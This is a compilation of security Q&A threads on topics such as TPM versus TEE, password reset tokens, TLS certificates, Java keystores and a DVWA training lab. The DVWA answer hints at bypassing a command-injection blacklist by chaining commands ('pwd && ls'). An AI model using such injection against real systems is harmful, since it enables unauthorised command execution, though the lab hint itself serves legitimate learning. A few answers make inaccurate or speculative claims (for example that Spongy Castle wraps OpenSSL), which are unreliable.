Difference between TPM, TEE and SE What is the difference between a Secure Element (SE), a Trusted Execution Environment (TEE) and a Trusted Platform Module (TPM)?

I understand that they all refer to an external secure cryptoprocessor, which is designed to store cryptographic keys and execute cryptographic algorithms securely. Is there any differences or do they all mean the same things?

First let's layout the different definitions:

TPM is a piece of Hardware specifically created to do crypto calculation with. It is physically isolated from the rest of the processing system and is often a separated IC on the mainboard to be so.
TEE is an area on the chipset that works like a TPM, but is not physically isolated from the rest of the chip.
SE is a tamper-resistant secrets store, much like a smart-card or SIM-card. Its main purpose is to store cryptographic secrets in such a way that illicit use is hard or impossible to do. An example of this technology in major use is the EMV chip on payment cards.

We can clearly see when comparing the definitions that these 3 items are different,  but share a common goal. The difference between a TPM and a TEE is mainly in how it is implemented (purely hardware, or hardware and software combo). The SE has a different function that can be part of the function of a TPM and/or a TEE, by being a safe place to store cryptographic secrets.


Legality and ethics of cryptanalysis on password hashes I'm working on my dissertation concerning cryptanalysis on password hashes. I'd like to delve into the legal and ethical aspects of cryptanalysis, however, seeing as I'n not at all well versed in law or anything similar, I'm at a bit of a loss as to where I should start my research on this area. Google searches have so far proven in vain... Where would it be best to start reading about the subject?

Regards,
Ian

"Legality" is about laws which change quite a lot depending on the country. Start your search by this site which is a survey on laws about cryptography in various countries. Though the survey is about laws which restrict (or not) the usage for cryptographic tools, it may contain pointers to laws about password cracking tools.

In countries which use Common Law or a variant thereof (e.g. the USA), the authoritative source for legality of password cracking will include cases which have been brought to a judge. This Web page quotes a case of prosecution of someone in 1995 for having run a password cracking tool. Since the perpetrator (technically an invalid qualification, since the records were expunged) was a high profile figure in Internet-related circles, there will probably be extensive documentation on the case (e.g. this page) that will yield a lot of material for your dissertation.

As for ethics, I would say that passwords are private data, which the users feel as such. Knowing a password not only gives you access to the system which is protected by that password, but also gives you some insight into the private parts of the life and brain of the password owner. As a simple example, many people will use as password the name of their current or potential future girlfriend/boyfriend (a terrible way of choosing password, but users do that).

I would say that running password cracking tools is ethically valid as long as:

users have duly been made aware, when they chose their password, that such tools may be run;
passwords which are thus found are not disclosed to third parties, except under anonymization (no way to link the password back to the user).

There are several moral systems out there; although I believe mine is better than all others (I am not a moral relativist), I acknowledge the fact that some people will not agree with me on this subject.


Determining a version of SSH from penetration testing? I am a software developer -- but not a security specialist. A (legitimate) company that does security scans sent my company a notice that we are running an older version of SSH on our hosting server. The company that runs our hosting server says that they cannot release the version of SSH that they are using but assures us that it is secure.

Should I trust the hosting company or the scanning company or neither?
How difficult is it to determine the version of SSH remotely? How is it that the security company can say what version of SSH we are running but the hosting company cannot.

Looking for advice on how to proceed.

It sounds off that a service provider will not give you details of the product/service you are purchasing. That is like a contractor not telling you what wood he is using to build a house. I would remind your service provider that "security by obscurity" will not help a remote attacker from figuring our or just launching attacks against all versions of SSH.

You should check to see if you have a "right to audit" in your service contract, as that might give you the right to know this information (always try to get such language in your service provider contracts)

Do you have command line/shell access? If you do, you could try to check the version yourself.

In terms of the pen testers getting the wrong version, its entirely possible. Depending on the checks they ran (probably automated through a vulnerability scanner), certain characteristics may not give a 100% match. It's also possible to configure/compile your applications to lie about their versions, change banners, or for some intermediate proxy or load balancer to change this information.

However, it sounds like a red flag from the service provider that they will not release this information. You may want to let them know how important security is to your organization and that lack of sufficient security assurances could lead to taking your business elsewhere.


Submit a pre certificate to Certificate Transparency logs via APIs? How would a CA submit a certificate to Certificate Transparency logs? Preferably Google's Pilot or Rocketeer CT.
Would one submit via an API, SDK, library? If submitting should it be a render of a certificate (without log extensions) or the final certificate?

The operation of Certificate Transparency is specified in RFC 6962 and the submission method is specified in sections 4.1 and 4.2. A shortened version:

4.1. Add Chain to Log
POST https://<log server>/ct/v1/add-chain

4.2. Add PreCertChain to Log
POST https://<log server>/ct/v1/add-pre-chain

The format for the POST requests is specified in the beginning of section 4:

Messages are sent as HTTPS GET or POST requests. Parameters for POSTs
and all responses are encoded as JavaScript Object Notation (JSON)
objects [RFC4627].


Bank forces me to use six character alphanumeric password My bank (it's Westpac, one of the big ones in Australia) has some strange restrictions on passwords.  They're maximum 6 characters in length and it must contain only characters A-Z and digits 0-9, and there's no case sensitivity.

I'm used to using much longer passwords or even passphrases for other online accounts, and it seems like the bank password strength is relatively weak.  On the other hand, the password to my finance seems like one that should be much more important than other things such as forum logins, ebay account etc ...

So why does a major bank not let you choose a stronger password?  Should I be concerned about their security?

This means they are almost definately storing passwords in plaintext in a 6-character database field. If they were only storing a (salted) hash - as they should - then they wouldn't care about the password length since the hash function would produce a value of a fixed size regardless of the length of the input (password).

Your bank is probably still using systems from the 70s (or from before the industry standardised on salted hashing) and they don't take password security seriously enough to sort this out. This is the case with a lot of banks. You should start by complaining.


Storing the MAC Address of a computer in Active Directory I’m considering enabling WoL (Wake on LAN) on the workstations on my network.

In order to boot a workstation using WoL I require its MAC address. I could store the MAC address in a database, however I’d much rather store it as an attribute of the computer object in AD. My intention is to write a startup script that will write the MAC address to a spare attribute in AD.

I’ve been unable to think of any security implications that this may introduce but would like to ask the community whether there’s anything I’m overlooking or should take into account before implementing this?

Some people consider the MAC address to be "somewhat secret". This is misguided, but be aware that making the MAC addresses public may generate some amount of nervousness. You may have to justify yourself.

For instance, a rather common configuration option on "intelligent switches" is to restrict each ethernet port to a single MAC or only a short list of MAC addresses; this is an attempt to discourage employees from bringing their own device. It is not a strong security system; it can be easily countered by setting the MAC address of an external device to a specific value. However, this has contributed to propagate the idea that the MAC address is a kind of password, hence the nervousness about publication.

Wake on LAN is in a similar situation: since it allows for waking machines up remotely, it could, potentially, be used by an attacker to attack powered-off machines. In that respect, switching the machine off no longer is the ultimate security.

(It can make for an interesting DoS. A computer which boots up uses more power than a computer which is merely "up"; this effects last for only a few seconds, until all hard disks are up to speed and the CPU has finished its boot-time self tests. With a generic Wake-on-LAN, it is possible to wake a bunch of machines simultaneously, and overload the fuses. I have known a computer room which could handle all systems up and running, but not all systems booting. So the machines had to be configured to not power-up automatically when power is back after a shortage. A generalized Wake-on-LAN may allow for the same kind of effect.)


Example of decentralized access control? Classical server-client architectures implement classical centralised access-control. The problem with that is that administrator with root access has full control over it what may represent unacceptable risk in some scenarios.
There are multiple decentralised systems that do not have root administrators - like BitTorrent or Bitcoin (or Ethereum). However, none of them seem to have access control functionality in them. Are there systems that do (but are decentralised)?

Use MFA and split the authentication pieces between separate parties or several pieces of information required to generate a hash used as a password.

Someone who wants access requires the two pieces much like two keys to open a single door.


dmcryt_write process in TOP but no WRDSK indicated I am using LUKS over RAID0. I have executed cryptsetup -v --cipher aes-xts-plain64 --key-size 512  --hash sha256 --iter-time 2000 --use-urandom --verify-passphrase luksFormat /dev/md0

Everything shows me that the partition is LUKS protected /dev/mapper/raid0luks is active

When I am writing on this partition, it is fast, so I wanted to monitor the overall process. TOP shows me the dmcrypt_write process 20% CPU usage, whereas iotop shows 0 bytes written on dmcrypt_write line.

I would like to be sure I am not missing something due to good write performances.
Thank you for your tips.

This is expected. I haven't looked into it too deeply, but I would assume that dmcrypt_write is writing at a lower level than where the statistics happen.

Good performance should be expected on any CPU supporting the AES-NI instruction set, dmcrypt_write never goes higher than 2% CPU usage for me when writing around 185 MiB/s. Performance testing with openssl gives me around 1.8 GiB/s for AES-256 in CTR mode.


Securing application server for a single user I'm building some simple dashboard app for myself, but I want to have them on multiple devices - hence the server and front end. As I will be the only user who will access the application server, what security should I implement?
Stack:
Postgres
Ktor (Kotlin) server, HTTPS, only REST API
Front end
I'll run AWS Lightsail instance since I don't need anything heavy. Postgres and application server will be there, with only ports 443 and 22 open. Front end will be on S3 with CloudFront.
I'm doing this because it's easier for me to make a browser "app", than to make an Android app + something for desktop and keep them in sync.
I'll be using the app from multiple networks. At home (where I don't have a static IP, which would solve some of the problems), from mobile network, from work, when traveling to other countries, etc.
For background, I've been working on server for almost 3 years, Spring + Hibernate, Postgres. I have a fair knowledge of linux, hosting a server on it, some of AWS services and basic knowledge of database administration. I've done a bit of front end, but I'll have to get back to that soon. I have almost no knowledge of security beyond basic JWT and SSH.

I did something similar before. The web version I put behind a VPN, which had a local rule to forward an IP to a locally hosted webserver. This works if you just want to keep it on web.
I then expanded on it where I actually had a mobile app to pull information through an API. That mobile app had certificate that would allow mutual authentication on the proxy.


Adding one's own cryptography implementation on Android Since Android allows for Java and Native implementation of cryptography, I would like to know how to provide a particular implementation of cryptographic algorithms (say just RSA for example).  What would be the best (in terms of ease of development, ease of integration, ease of use) way to provide it?

Is it as a Java crypto provider(JCE) bundle?
Or is it as an OpenSSL engine?

Native code has the advantage of being faster. What speaks for JCE?

Generally you would not want to add your own cryptographic implementation of any secure protocols or algorithms.  There are a few reasons for this:

It is unlikely that you will code a correct implementation on the first go.
Your code has not be scrutinized for years like many open source cryptography libraries.
Your code will most likely be slower regardless of which JCE or OpenSSL engine because other libraries have already been optimized for speed.

Android provides an API for interacting with the OpenSSL library that is already present.  This is called Spongy Castle, which is a modified version of Bouncy Castle.  The algorithms it supports should already meet your needs.  Here is some example code using the API.

That being said, and I encourage you not to use your own implementation, there are two routes you can go.

Custom JCE
This is probably more up your alley and what you want to do.  Here is a link to How to Implement a Provider.  Here you provide classes for each cryptographic service you want to implement.  You will most likely need to sign your provider, and provide your application with the public key to verify it.

Adding a Shared Library
A more fun way (in my opinion anyway) is to create your own crypto-implementation by adding a shared crypto-library to Android, and provide a JNI for your application to use it.  The main library would be written in C, and cross-compiled for ARM using Android's NDK.  You'll then need to write a Java Provider (JNI) that can be registered with Dalvik in order for your application to run it.  Here is an example of installing a different crypto library to your phone.

This has the disadvantage of needing to rebuilt Android and flashing your device.  Not ideal for an application installing from Google Play.


can MiTM read server certificate in TLS1.2? We have a client and server that works via TLS 1.2 connection.
Client connects to server, client checks server's certificate, connection established.

Question - can anyone who read all data packets (except client PC) do read/verification the certificate that server sends to client?

I.e. example:

we have 100 connections to different 100 servers
5 servers out of 100 use the same certificate
we read all traffic (but can not change it)
can we distinguish these 5 servers among others ?

can anyone who read all data packets (except client PC) do read/verification the certificate that server sends to client?

At least up to TLS 1.2 both server and the optional client certificate is transferred in clear text. The encryption starts in these TLS versions only in the last message of the TLS handshake (Finished). Transfer of the certificates is done before that and also the validation is done as part of the handshake.
See also How can I extract the certificate from this pcap file?

With TLS 1.3 the situation is different though: encryption starts much earlier in the handshake and both server and optional client certificate are sent encrypted already. Thus it is not possible to get to the certificate just by passively sniffing/capturing the data.


DVWA - Command Injection (high level) I am attempting to educate myself further on web securities using DVWA. I am stumped on Command Injection, on the high level
The help states

The developer has either made a slight typo with the filters and believes a certain PHP command will save them from this mistake.
Spoiler: trim()          removes all leading & trailing spaces, right?.

They don't render correctly on here but there are three tab spaces between trim() and removes. Having said this, the trim() function removes tabbed spaces. It does apparently struggle with non-breaking spaces though (\xA0). I'm not hugely familiar with command lines but note from the source code all the symbols I would try and inject with are replaced with PHP before you can get them to do anything.
Please note - previous sources on the net say this level is uncrackable but I am using v1.9, released 2015-10-05, with the changelog noting

Renamed 'high' level to 'impossible' and created new vectors for 'high'.

So effectively this is a new challenge.
I'm running on Windows, bearing in mind this has an affect on command syntax etc. Other (older) answers point to using named pipes (FIFO) which are apparently easier on *nix systems.

It is implying that trim() doesn't remove internal spaces. For instance, it wouldn't make the command pwd && ls become pwd&&ls. Using this hint, and looking at the imperfect blacklist, you should be able to identify a weak spot in the list.

Hint: The last item in the blacklist is a clue.


How to know if its the same User? I asked a question awhile ago asking how to make an efficient encrypted chatroom. What I ended up doing was Making each user generate a 4096 bit RSA KeyPair, share their public Keys, and then one of the client distributes an AES 256 bit Encryption key it randomly generates.

Anyways, I was wondering. Let's say one user signs on with the name of "Austin", and signs off.

Let's say later "Austin" signs in again. I want to know if it's the same user (or at least the same computer) without using something like a password (however it could be something verified by server of some sort), how could I possibly do that?

I was thinking something like the way putty will verify what server you're connecting to, but I'm not sure I really understand that.

Thanks in advance.

You could have the user authenticate himself by signing the user ID or a session ID with his PRIVATE key. That  value could be authenticated by anyone, using his PUBLIC key. A simple digital signature scheme.


Requiring e-mail from user when using ASP.NET Identity password reset features I am implementing ASP.NET Core Identity with IdentityServer4. One feature is password reset, and I found that all the examples (e.g. the IdentityServer4 quick start and the ASP.NET Identity example) tend to do this:

The Password Reset Token ("Code") is passed to the page via the URL in the e-mail and "magically" posted along the new password.
The form (in addition to of course a new password) requires you to fill out an e-mail address.

This is needed because you need an ApplicationUser when using a password reset token, which you can only get by things like UserId, Name, and Email.

I've seen plenty of sites (some major) only requiring the new password and no e-mail. Given that you can only receive a password reset token through email, it feels kind of silly to ask a user to re-enter their email ("I just clicked on a link in my mailbox, why are you asking for my e-mail address!?").

What is the rationale here? I'm tempted to include the UserId in the reset password URL and also automagically include it in the form for posting a fresh password, but given that all major examples ask for an e-mail address I'm questioning: what would be the security implications of that?

I'm not familiar with this exact framework, so this is generic security advice, but: The correct way to handle password reset flows (with a token contained in a URL that the user is emailed, and then clicks), is for the token itself to be used to look up the user. You don't need any other way to identify the user (the token is unique for every user, and indeed for every password reset attempt, of course).

It is a very bad idea to even have some other way to identify the user who is resetting their password, because if you do that, you open yourself to the risk of an attacker entering somebody else's email address (or user ID, or name, or whatever) and resetting the other person's password instead. To prevent that, you would need to confirm that the token from the link is the current password reset token for the indicated user, and if you can do that, you can identify the user from the token directly and there's no need for the user to supply the identity. Passing the identity in the URL is not any safer; an attacker can modify the URL before loading the web page just as well as they can lie about their identity in a web form.

If there's no way for the server to look up a user from their password reset token, then frankly that is an incredibly silly bug and should be reported and/or patched (if open source) immediately. A bug like that would make me seriously question the quality of the entire authentication codebase.

EDIT

The possibility that the requirement exists to provide additional security occurred to me, but I didn't include it in the answer initially as it seemed unlikely. It should be completely impossible to brute-force the tokens; they should be minimum 128 bits of securely-generated random string, with a lifetime measured in minutes (single-digit hours at most) before use and expiring immediately upon use. That leaves only ways for an attacker to capture the token before it is used, and there are mitigations to all of those vectors:

Attacker captured the victim's URLs (perhaps in a proxy log or similar) and manages to use the token to reset the victim's password before the victim can do it themselves. The odds of this ever happening in a situation where the attacker couldn't also determine the victim's email address is pretty minimal (as it implies that the attacker is able to view the plain text of the victim's HTTPS traffic).
Victim clicks the link then walks away from their computer before completing the password reset, without locking it, and the attacker sits down in front of the machine. This both involves a level of "user is being incredibly foolish" (and you know what they say about making something idiot-proof), and the attacker could just go look up the victim's email address (they're sitting at the computer where the victim just clicked the link!) in the event that the attacker didn't already know it. This attack is more properly mitigated by making the password reset page itself have only a very short lifetime (it should not take more than five minutes to enter a new password, max, even assuming the user is disabled and must use a really slow input system).

There is an argument for, in extremely paranoid situations, protecting against the first case by accepting the cost of user hassle and taking the risk of insecure implementation. For the most part, it seems like a clear net negative in utility. The second case doesn't even really bear mentioning because the "protection" of requiring the identity is trivially bypassed. Unless there's some other scenario I'm missing, this provides negligible benefit.


Programming language for network security I am working as a tester now. I am planning to move to the domain of security such as a CEH or CISSP. But many say that to be a great hacker you need to know at least one programming language well. I already know a bit of Java. But I just wanted to know which language is closer to network security and related domains. So what kind of language should I be learning so that it would be helpful for me to move to the domain of security?

There is no defined blueprint on what is the best language to learn. Therefor I would like to mention two good alternatives that I (and many otheres) think is a good languages to learn in computer security.

LUA

Explanation of Lua from wikipedia: Lua is a lightweight multi-paradigm programming language designed as a scripting language with "extensible semantics" as a primary goal.

The reason I mention LUA is a good language to learn is that it is the scripting engine for MANY popular security tools. This is a very good reason alone to learn this language. Some of the langauges include:

NMAP (Network mapping tool)
Snort (Open source IDS)
Wireshark (Packet sniffing tool)
Vim (Very popular unix text editor)
Cisco ASA (firewall, IPS, VPN)
Network services tools (Apache, lightHttpd, FreePop)

On a side note: Even Blizzard major hit World of Warcraft has support for LUA scripting inside the game :) To whomever that may be relevant to.

Python

I am a bit biased on Python after I've started reading the book "Gray Hat Python: Python Programming for Hackers and Reverse Engineers". I agree with many of the points from this book why it is good to learn this langauge for a hacker (commonly known as security specialist :)).

Quoted from Amazon Python is good language to learn because:

  it's easy to write quickly, and it has the low-level support and libraries that make hackers happy.

It is also very comfortable to be able to interact on the fly with the interpreter in your Python shell.

Edit:
Graphical view of HackerNews polls on favorite/ disliked programming languages:

Edit 2:
From Digininjas poll:

Language    Number  Percentage
Python  245 81%
Bash Scripting  241 79%
Ruby    127 42%
C   123 40%
Windows Powershell  111 37%
Batch Scripting 108 36%
PHP 107 35%
C++ 66  22%
Java    65  21%
Perl    57  19%
Other   57  19%
VB  29  10%
C#  26  9%
Lua 23  8%


Signing web forum messages I maintain web forum software, which is accessible via NNTP and e-mail (as mailing lists). Since NNTP by design allows anyone to spoof their e-mail address, message signing can be used instead to verify identities of posters.

Thus, I would like to integrate optional PGP message signing and verification into the web UI, in a way that's reasonably secure but doesn't get in your way. Verification probably wouldn't be too difficult - the key could be looked up on keyservers, and perhaps the web UI could display the linked keybase.io identities once that opens up.

The more difficult problem is signing the message. Essentially, the workflow would need to be somewhat along these lines:

The user composes the message in the web UI.
Once the user is ready to post the message, it is compiled into an RFC-850 message, then somehow signed.
The signed message is stored and e.g. sent to the mailing list subscribers.

I can think of a few ways to sign the message:

Have the user upload their private key.

This is out, of course.

Use a JavaScript PGP implementation and store the user's private key in localStorage.

An XSS vulnerability in the forum software would mean compromising the private key.

Have the forum software maintain its own key pair for each user (encrypted with their login password), which the user then somehow links to their identity.

I'm not sure about the details for this idea. The user should probably be able to revoke the key somehow too.

Present the user with the text that they would need to copy from their web browser, sign on their machine, then paste the signed message back into the web browser.

Having to do this for every forum post will quickly become tiresome.

Write browser extensions to sign the message.

I don't look forward to maintaining multiple browser extensions for this purpose.

Write a signing service, which runs as a web server on localhost. Thus, the web forum software would e.g. POST to http://localhost:8081/, where the signing service would display the message and allow the user confirm that this is the message they wish to sign, which would then POST the signed message to a callback URL.

Perhaps something like this already exists?

Is there a better way?

I've discovered https://www.mailvelope.com/, looks interesting.

It's a browser extension which keeps keys on the client. Although primarily designed for encrypting messages on webmail, it also supports signing. It also seems to expose an API, though I haven't found anything in the API pertaining to message signing in particular.


Is it worth following OWASP AppSensor for an open source web application? I'm thinking of following OWASP's AppSensor project to build application-level intrusion detection into an existing open source web application.

I think there is some value in using AppSensor to detect generic, automated attacks. However, AppSensor seems less valuable against attacks directed at this application because anyone could run the application locally to understand how their attacks would be detected.

Is it worth fully following OWASP AppSensor for an open source web application, or would it be a more efficient use of time and effort to only try to detect automated attacks?

All security efforts are an investment. Each produce a different return on your investment. I often tell people to put effort into the security practices that give the most return in terms of bugs found, attacks prevented, etc. The best use of time on an open source project would be reviews for common vulnerabilities (e.g OWASP Top 10), configuration issues, etc. Then submit fixes for what you find.


How can I detect which background application is using the camera, microphone or GPRS? I want to learn how to write and Android application that can detect a run time spy application. In this instance, a "spy application" is a background application that uses the camera, microphone and other important device.

How can I detect which background application is using the camera, microphone or GPRS?

You could write an app to try and monitor what's happening on the device, but it would require elevated permissions for your app like running as System or requesting a large set of permissions, so that you could query the appropriate services and access system resources to guess at what other apps are doing. The packagemanager exposes api calls for determining the installed applications and even examining their permissions, At best though like mentioned in the earlier answer all apps run in their own instance of the dalvik vm. Access to resources on the system are also restricted by permissions both DAC and capabilities (in 4.3). Examining permissions or trying to see what apps are doing would be difficult, especially in the case of malicious apps that abuse poorly written legitimate apps

Even Google's measures for detecting malicious apps aren't foolproof though this quote is from a presentation at defcon

  In another bit of disturbing news related to Young’s research is the ability of an explicitly malicious app to get into the Google Play store and hang around for a while. According to reports, Young created an app to test the vulnerability and uploaded it to the Google Play store where it was clearly marked as malicious and users were warned not to install it. During the month it was available, until a user reported it, Google’s Bouncer service did not flag it as malicious. It is not clear whether the app was ever scanned by Bouncer or whether it “passed” the scan, but neither option reflects well on Bouncer’s effectiveness. Young also reported that most antivirus products for Android devices failed to detect the app as being malware, though one unnamed privacy application flagged it as having account access.

Modifying the platform would be the best way to try and detect malicious apps. SE for Android is project aimed at adding security and MAC to the android platform some of the concepts that they are exploring might be of interest.


Should I take care of mysql credentials? My mysql server is configured to not allow remote connection.

Should I seriously care about mysql user and password in this case?

It is very good that the mysql server is not required to support remote connections because it greatly reduces the attackable surface.

But you should consider defence in depth as a strategy to slow down an attacker or even reduce the impact of an attack.

Setting up a good password for the database users is no significant amount of work, so you should do that. That same is true for permissions that are likely not needed such as executing shell commands or creating stored procedures.

Fine tuning the permissions of the database users might be more difficult. So it might be more effective to spend effort elsewhere first. For example reviewing a web application for SQL injection vulnerabilities.


Why do I need to install the startcom intermediate certificate? I issued my server a Startcom class 1 cert. With no changes on the client, I can access this server via FF without issue. However, when try to validate the certificate via openssl s_client it chokes complaining about missing certificates.

I can resolve the above openssl issue by copying Startcom's "intermediate" certificate into /etc/ssl/certs and symlinking the file in the <hash>.<iterator> format.

Question: Do I need to take this step? It appears the Startcom's root certificate is already trusted. Further FF is able to complete the certificate chain without issue. Am I missing a step? Why would the ca-certificates package trust the root and not the intermediate certificate? Why do I have to manually trust Startcom?

EDIT: I'm using ubuntu 12.04 in this case.

Short version:

Firefox is using its own CA database which includes the necessary Startcom intermediate certificate; OpenSSL uses /etc/ssl instead which does not have that intermediate certificate.  But you should fix this at the server side, not the client side.

Long version:

SSL certificate validation requires each certificate in the chain be validated.  The chain starts at the root, ends at the node certificate, and may include zero or more intermediate certificates.

The client software must have a list of trusted roots.  A root is signed by itself, and is trusted by virtue of the software vendor including that certificate in its trusted roots store.  In the case of Firefox, that's (I believe) cert8.db.  In the case of OpenSSL, it uses the /etc/ssl hierarchy.

The client software may include intermediate certs in its store, as well.  However, it's not required to.  It appears that Firefox has done so for Startcom, but that Ubuntu's /etc/ssl configuration tree does not.

For this reason, it is best practices for servers using node certificates signed with an intermediate cert to include all intermediate certs when sending their certificate to any client that connects.

To directly answer your question, putting the intermediate into /etc/ssl will fix the problem - for you.  Not for anyone else browsing your site.  In order to properly fix it, you should add the intermediate certificate to the chain that the server hands out.  For example, with Apache, see the SSLCertificateChainFile directive - DigiCert has a good walkthrough, and StartCom also has instructions.

@DanFromGermany asks, in the comments, if I can give a reference for:

  best practices for servers using node certificates signed with an
  intermediate cert to include all intermediate certs

In fact, to call that "best practices" is not strictly true - it's a requirement.  According to RFC 5246 (TLS 1.2):

  [The certificate_list] is a sequence (chain) of certificates.  The
  sender's certificate MUST come first in the list.  Each following
  certificate MUST directly certify the one preceding it.  Because
  certificate validation requires that root keys be distributed
  independently, the self-signed certificate that specifies the root
  certificate authority MAY be omitted from the chain, under the
  assumption that the remote end must already possess it in order to
  validate it in any case.

By inference - each certificate in the chain must directly certify the one preceding it, and only the root certificate authority is optional ("MAY be omitted"), then all intermediate certs are required.

So it's not strictly true to say that including all intermediates is best practices - it would be fairer to say that not including all intermediates is worst practices, but happens, because people are lazy, and because it works out enough of the time.


Securely storing account credentials/information for critical company services - the bus factor Question:

I'm trying to figure out best practices for storing authentication credentials for critical company services - hosting services, domain registration services, recruiting portals, etc...  To be clear, I'm not talking about API authentication credentials (those are stored and made available to our code base using best practices), but administrative access to the actual accounts themselves.  As a randomly chosen example, imagine we used namecheap to register the domain names for our company.  There would be an email address and password connected with our namecheap account that would be needed occasionally to register more domains, update DNS settings, etc.  I'm talking about the authentication credentials to log into (for example) namecheap or other related services.  However, this isn't necessarily just limited to emails/usernames/passwords, but could also include private keys or other system-critical information.

I would like to securely store all such information in a way that meets a few requirements:

It is easily accessible to me, as I need one piece of information or another on a regular (weekly) basis
If for some reason I were to no longer be available (aka the bus factor) this information can be passed along to someone else to minimize disruptions for the business
This doesn't have to be "easily" accessible to another person - only accessible.  Currently no one else needs this information on a regular basis (if ever).  I just want to make sure there is a secure and easy way to transfer this information if necessary - this is not intended to be a regular occurrence.
The information must obviously be very secure: "Information can be passed along" needs to be done in such away as to minimize the chances of it being accidentally or maliciously passed along to the wrong person, since this is business-critical information.

Background:

As the "Founding Engineer" at my company, I registered for just about all such services myself.  There are about a half dozen very critical ones, and a dozen or so more that are not critical but still important.  All services have unique, random, and long passwords.  Passwords are therefore the bulk of what I want to store/share, but as mentioned there are also some private keys and other information that will likely make a password manager an incomplete solution.  Currently I am the only one who has access to this information, and most of it is stored on my work computer in one form or another (home directory is encrypted and my backup hard-drive is also encrypted).  Again, the issue is the fact that I am literally the only one with access.  In the event of something unexpected, I would like the company owner to be able to hire someone competent and pick up where I left off without difficulty.

Currently I'm leaning towards putting the information in some sort of secure cloud hosted environment that uses encryption on their end (google drive, dropbox?).  I wouldn't encrypt it myself before uploading because I expect that to hamper my own ability to access it on a regular basis.  I would choose a cloud based solution that supports 2FA via a hardware key, which I would share (along with the cloud account credentials) with the owner.

That's just one thought anyway.  Obviously there isn't one "right" solution here, but I'm looking for suggestions that meet my requirements above so I can find a balance that works well for us.

What you're describing is the intended use case for a password vault. It provides fine-grained access to passwords, and in my experience they also work with private keys and other information (I've used CyberArk in the past). With CyberArk you can manage access by using LDAP groups, which is nice for ensuring that specific groups of people have access to different account types.

But, you should know what you're getting into. For example, CyberArk is intended to be implemented as at least two servers and virtualization isn't recommended for the vault server. It's quite a bit of infrastructure to manage for a small number of secrets. In other words: perhaps a password vault is a good solution for a large enterprise, but maybe not for a smaller organization.

Another potential solution for a small business could be something like Keybase, using their 'teams' functionality. https://keybase.io/blog/introducing-keybase-teams

Also, AWS just created a new service for managing secrets. I don't have experience with this yet but perhaps it's a good fit: https://aws.amazon.com/secrets-manager/


Is there a limit on the layers of encryption a file can have? Consider symmetric GPG encryption of a given file my_file.txt. Something like (in command line)

gpg --symmetric --cipher-algo AES256 my_file.txt

After suppying the prompt with the new password, the above produces my_file.txt.gpg. I could then encrypt again:

gpg --symmetric --cipher-algo AES256 my_file.txt.gpg

(where you would want to set a different password)

And so on. Is there a limit on how many iterations of the above I can do? It seems to me there isn't, as symmetric encryption just takes a piece of text and transforms it into another, without ever asking what the piece of text is in the first place. Is this true?

Theoretically, there's no limit on the number of times you can encrypt a file. The output of an encryption process is again a file, which you can again pass it on to a different algorithm and get an output.

The thing is, at decryption side, it will have to be decrypted in LIFO (last in, first out) style, with the proper passwords.

For example, if your file was first encrypted with algo1 with password abcde, and then it was encrypted with algo2 with password vwxyz, then it will have to be decrypted first with algo2 (with password vwxyz), and then with algo1 (with password abcde).

This method makes sense if you're sending the keys through different media or channels. This method would be of little use if all the passwords are sent through the same channel.


How to protect certificates and keys in peer to peer application I'm making a peer-to-peer cross-platform application (in Java & Kotlin), and I want to encrypt conversations between tens of users, concurrently.
However, due to lack of knowledge in security good practices & protocols and due to this being my first time actually getting into informatics security, I'm sort of confused.
My goal is that every peer connection has a unique session that shares as little as possible to the other peer connections, in order to minimize any risk if one connection proves to be vulnerable. The connections will be implemented using TLSv1.3 or TLSv1.2 (I do not intend to support lower protocols due to the risks involved with using them).
However, I've done some rudimentary research on my own, and I cannot wrap my head around the question, is having a keystore and a truststore on the (classloader) directory of my application a security vulnerability? Could it ever be one?
I am aware that keystore stores the private and public key of the server, and truststore stores the public key of the server, which it verifies &  uses when contacting the server. How can I protect my keystore's and truststore's certificate password, when they must be on the application's directory? Does it need to be protected, even?
What encryption algorithm should my keystore use? I'm heading for really strong encryption, future
proofing as much as possible along with keeping up as much backwards compatibility as I can without reducing the application's security.
Is there an issue with the certificates being self-signed considering I'm solely using them between peers of the same application?
Considering I'm doing Java, do SSLSockets/SSLServerSockets create a "brand new session" for every new connection, as in, do they reuse the private or public key? Are private keys generated when making a handshake with a client?
Thank you for taking the time in advance, privacy is a really big focus of the application itself.

However, I've done some rudimentary research on my own, and I cannot wrap my head around the question, is having a keystore and a truststore on the (classloader) directory of my application a security vulnerability? Could it ever be one?

I am aware that keystore stores the private and public key of the server, and truststore stores the public key of the server, which it verifies & uses when contacting the server. How can I protect my keystore's and truststore's certificate password, when they must be on the application's directory? Does it need to be protected, even?

Actually, the truststore contains a certificate (or several, one of) which is used to validate the server's certificate or (in general) chain. Normally this is a cert of a CA which issued the server cert directly or (now more common) indirectly e.g. root CA (cert in truststore) issued cert for intermediate CA (in handshake) which issued cert for server (ditto). Using a self-signed cert is a special case where the server cert is also its root, and thus put in the client's truststore.
This information is indeed vital to security. If an attacker can steal your keystore data, they can impersonate you to others, or if you use (or used) ciphersuites in 1.2 that DON'T support forward secrecy (i.e. 'plain RSA' suites/keyexchange) they can decrypt eavesdropped connections to you. If they can alter your truststore data, they can impersonate others to you.
Whether and how this is a risk depends on what possible attacks and attackers you must defend against, or as usually phrased here, "what is your threat model?" If your endpoints are themselves secure, and the application containing the security data can be deployed to them securely, you're fine. If attackers can run things on your system(s) or otherwise access your file(s) it gets more complicated, and there are no generic or very easy answers; in general most of the answers that actually work involve hardware, either custom or platform, and thus aren't cross-platform and often aren't cheap. See for examples
Where to store a server side encryption key?
https://crypto.stackexchange.com/questions/35530/where-and-how-to-store-private-keys-in-web-applications-for-private-messaging-wi
https://stackoverflow.com/questions/3038608/how-do-i-store-a-java-keystore-password

What encryption algorithm should my keystore use? I'm heading for really strong encryption, future proofing as much as possible along with keeping up as much backwards compatibility as I can without reducing the application's security.

Don't use JKS, which was designed deliberately weak because of US export restrictions back in the 1990s and was the default through j8; higher versions default to PKCS12, though keytool still accepts JKS and JCEKS automatically. (It warns about the better standardness of PKCS12, but not the better security.)
